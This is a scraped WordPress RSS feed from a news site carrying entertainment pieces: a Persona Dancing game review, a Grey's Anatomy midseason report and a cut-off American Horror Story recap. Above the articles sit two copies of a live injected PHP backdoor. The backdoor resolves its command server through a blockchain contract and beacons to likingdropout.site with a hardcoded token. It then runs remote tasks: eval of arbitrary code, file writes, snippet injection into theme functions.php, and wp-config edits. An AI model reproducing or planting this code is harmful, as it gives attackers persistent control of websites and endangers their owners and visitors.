// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); that&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 08 Dec 2018 19:49:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png that&#039s – Brief News https://briefnews.eu 32 32 Persona 5 and Persona 3 Dancing review: Rhythm action heaven that's simply a joy to play https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/ https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/#respond Sat, 08 Dec 2018 19:49:48 +0000 http://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/

Persona Dancing

Persona 5 and 3 Dancing review – Rhythm action heaven that’s simply a joy to play (Image: ATLUS)

Persona 5 is one of the best JRPGs of this generation while the third and fourth games are treated with a hushed reverence amongst fans.

The effortlessly cool and stylish titles from Atlus require dozens of hours to complete – and during that time suck you completely into its world.

But once you put down that controller and say goodbye to characters you’ve grown to known and love there are many ways to stay invested.

From manga comics, to animated series, movies and spin-off games – there are plenty of ways to stick around in a world that’s come to feel like home.

The latest offshoot for the Persona series continues the whacky tradition of going somewhere unexpected.

You like turned-based, role playing games? Cool. How about beat em-ups? Or rhythm action games?

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Atlus are experts at turning the parameters of what fans expect from a Persona game on its head while keeping it feel familiar and fresh.

Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are, as the names suggest, rhythm action games.

They follow in the footsteps of Persona 4 Dancing All Night, the first Persona music game released on the beloved PS Vita handheld back in 2015.

That title has a cult following and provided the blueprint for the P3 and P5 Dancing games on the PS4 and PS Vita.

Persona Dancing

Persona Dancing 5 and 3 review – New Persona Dancing games are a must for music game fans (Image: ATLUS)

Characters from their respective entry in the Persona series dance along to remixed and original tracks in stages based on areas from that RPG.

This is helped immensely by the fact that soundtracks for Persona games absolutely kick ass.

Who wouldn’t want to dance to the acid jazz tunes of Persona 5 or the hip hop beats of P3?

Like with other rhythm action games, players have to tap buttons in time to the music while a Persona character dances in the background.

Persona Dancing

Persona Dancing 5 and 3 review – The Persona games have awesome soundtracks (Image: ATLUS)

And what Atlus should undoubtedly be commended for is how they make use of the PS4 and PS Vita’s controls.

Rhythm action games invariably work best when used in tandem with a bespoke controller specific to that title.

The awesome Taiko no Tatsujin’s drums, Beatmania’s DJ set, Samba de Amigo’s maracas – the list goes on.

But with the Persona Dancing games the control system is simply based around the typical PlayStation button layout.

Persona Dancing

Persona Dancing 5 and 3 review – The Persona Dancing games have a great control system (Image: ATLUS)

The bulk of the buttons you’ll need to press are all on the far left and far right of the PS4 joypad and the PS Vita.

So, up, left and down on the D-Pad as well as triangle, circle and X.

This is mirrored on screen, with icons showing these inputs appearing in corresponding positions on the left and right hand side of the display.

Notes move from the centre of the screen, prompting you to press buttons in time to the beat of the music.

Persona Dancing

Persona Dancing 5 and 3 review – The Persona games are effortlessly cool and hip (Image: ATLUS)

As you’d expect from rhythm games, there are single notes to hit, notes you hit together, notes you have to hold and notes in quick succession.

You get graded on how close you are to keeping the beat of the track and can rack up combos if you continue hitting notes without missing.

It plays and feels great, but it can become overwhelming with so many prompts appearing on-screen quickly and the pressure of trying not to miss them.

Persona Dancing

Persona Dancing 5 and 3 review – There can be a lot going on-screen all at once (Image: ATLUS)

One other note that you have to hit are scratch and fever notes – which can be registered with a quick flick of either analogue stick.

When you’re caught in the middle of a song, furiously pressing buttons and you just manage to flick the stick to hit these notes it feels so satisfying.

If you hit three fever notes during a song action on screen gets more frantic, with a second character jumping on stage to dance alongside with you.

The expertly created control system means you don’t need to buy an additional, bespoke controller to make the most of Persona Dancing.

But it’s definitely worth playing the tutorial first so you don’t feel overwhelmed by it all when you start.

Persona 5 Dancing and Persona 3 Dancing were developed simultaneously, and it shows with both games using the same engine and having the same modes.

There’s a dancing mode where you can choose which tracks you want to tackle and a social mode.

The latter replaces the lengthy story mode of Persona 4 Dancing, instead going for a more bite-sized approach.

Persona Dancing

Persona Dancing 5 and 3 review – It’s definitely worth playing the tutorial first (Image: ATLUS)

In total there are eight characters that you have five ‘social’ events with which unlock after certain objectives are hit.

These events delve deeper into the P3 and P5 Dancing plot, with different dialogue options on offer like in the mainline games.

It’s not as in-depth or lengthy as the P4 Dancing story mode which may be disappointing for some fans.

But on the other hand, it just means that there’s more of a focus on the dancing mode, which is what we’re all here for anyway.

Overall, Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are expertly crafted, brilliant music games.

They’re an absolute must-have for rhythm action game lovers and for fans of the Persona series.

Both titles are sold separately, so some may feel like choosing one over the other – depending on which tracks or characters they prefer.

But we’d advise going all in, especially as there’s a collection featuring all three Persona Dancing games under one roof.

Persona Dancing

Persona Dancing 5 and 3 review – ‘You’ll never see it coming’ how much fun this is (Image: ATLUS)

If you loved Persona 4 Dancing then both P3 and P5 Dancing are absolutely essential purchases.

And if you’re a Persona fan who has never played a Dancing game before then these latest titles are highly recommended.

‘You’ll never see it coming’ how much fun you can have with these slices of rhythm action heaven.

VERDICT: 4/5

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]]> https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/feed/ 0 Grey's Midseason Report Card: 5 Things That Are Working — and 1 That's Not https://briefnews.eu/greys-midseason-report-card-5-things-that-are-working-and-1-thats-not/ https://briefnews.eu/greys-midseason-report-card-5-things-that-are-working-and-1-thats-not/#respond Fri, 23 Nov 2018 14:54:40 +0000 http://briefnews.eu/greys-midseason-report-card-5-things-that-are-working-and-1-thats-not/ With Grey’s Anatomy now on its holiday hiatus, TVLine is seizing the opportunity to check the vitals of the long-running ABC drama and evaluate what about Season 15 is working… and what isn’t. The good news: We’ve put more in the first column than the second. The bad: What’s in that second column is a real bummer. Read on, and we’ll go over the chart…

WHAT’S WORKING

Meredith and DeLuca’s Flirtation: Thanks to the master class in chemistry that Ellen Pompeo and Giacomo Gianniotti have been teaching since their characters shared an impromptu kiss in Season 14’s finale, we’ve been ’shipping the potential couple hard. By now, it’s all we can do not to roll our eyes along with DeLuca anytime Mer gives the time of day to romantic rival Link (on whom the jury remains out).

greys-anatomy-season 15 review maggie jacksonLevi and Nico’s Romance: The series’ first gay male relationship has been an out-of-the-gate smash, thanks in small part to Alex Landi’s eye-popping abs and in large part to the adorkable sincerity that Jake Borelli has brought to Schmitt’s sexual awakening. And did we mention they’re hilarious? Whether Nico was refusing to be Glasses’ “gay Sherpa” or Levi was questioning whether Grey Sloan was really a teaching hospital, the couple prescribed a healthy dose of what is said to be the best medicine.

Richard’s Downward Spiral: Taking the slow-but-steadily-worsening approach to Webber’s grief over the loss of his friend and AA sponsor Ollie has paid off beautifully, both for the show and James Pickens Jr. In fact, “Anybody Have a Map?” — written by showrunner Krista Vernoff — arguably provided the actor with one the most powerful and moving showcases he’s gotten to play in ages.

greys-anatomy-season 15 review maggie jacksonOmelia: The Sequel: We’re not sure the former marrieds’ suddenly-full house even needed the monkey wrench of Teddy’s pregnancy thrown into it. We were already happily going along for the bumpy ride as Owen and Amelia worked out the kinks of their new mom-and-pop operation, and Caterina Scorsone turned her once-polarizing character into the divine romcom heroine we always knew that she could be.

Koracick 2.0: When Greg Germann’s womanizing Tom was introduced in Season 14, we wrote him off as a walking HR violation. But as we’ve gotten to know him — and learned not only about the soul-crushing heartaches he’s withstood but his deep affection for Catherine — we’ve realized to our surprise that we’ve begun seeing him less as someone to snicker at and more someone to root for. Miraculous.

WHAT’S NOT WORKING

Jackson and Maggie as a Couple: We were willing to give this pairing a chance. But thus far, the match-up has done only two things: 1. It’s turned Jackson into the kind of grade-A jerk who, despite knowing how it feels to be abandoned by one’s significant other, split on his girlfriend to go on his “God quest,” then blamed her for his need to talk to other women (including his ex April — which only served to make viewers ask again, “Why isn’t Sarah Drew still on?”). And 2. it’s made a Debbie Downer of Maggie, who’d previously been brilliant, fun and funny — the epitome of quirky effervescence.

What do you think, Grey’s fans? What’s been working for you and what hasn’t? Weigh in in the comments.

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]]> https://briefnews.eu/greys-midseason-report-card-5-things-that-are-working-and-1-thats-not/feed/ 0 American Horror Story: Apocalypse Recap: So That's How the World Ends https://briefnews.eu/american-horror-story-apocalypse-recap-so-thats-how-the-world-ends/ https://briefnews.eu/american-horror-story-apocalypse-recap-so-thats-how-the-world-ends/#respond Thu, 08 Nov 2018 10:06:24 +0000 http://briefnews.eu/american-horror-story-apocalypse-recap-so-thats-how-the-world-ends/ Wednesday’s penultimate episode of American Horror Story: Apocalypse wasn’t just illuminating — it was Illuminati-ing. That’s right, folks, the “Cooperative” as we’ve come to know it is merely a “code name” for the freaking Illuminati, whose members apparently include Vladimir Putin, Warren Buffet and Bill Clinton… but definitely not Beyoncé. (Y’all haters corny with that mess.) And since all of the organization’s members have sold their souls to the Devil, they’re basically Michael’s loyal subjects by default. (Or as Billy Eichner’s mop-topped Mutt explained it, “Daddy set you up, 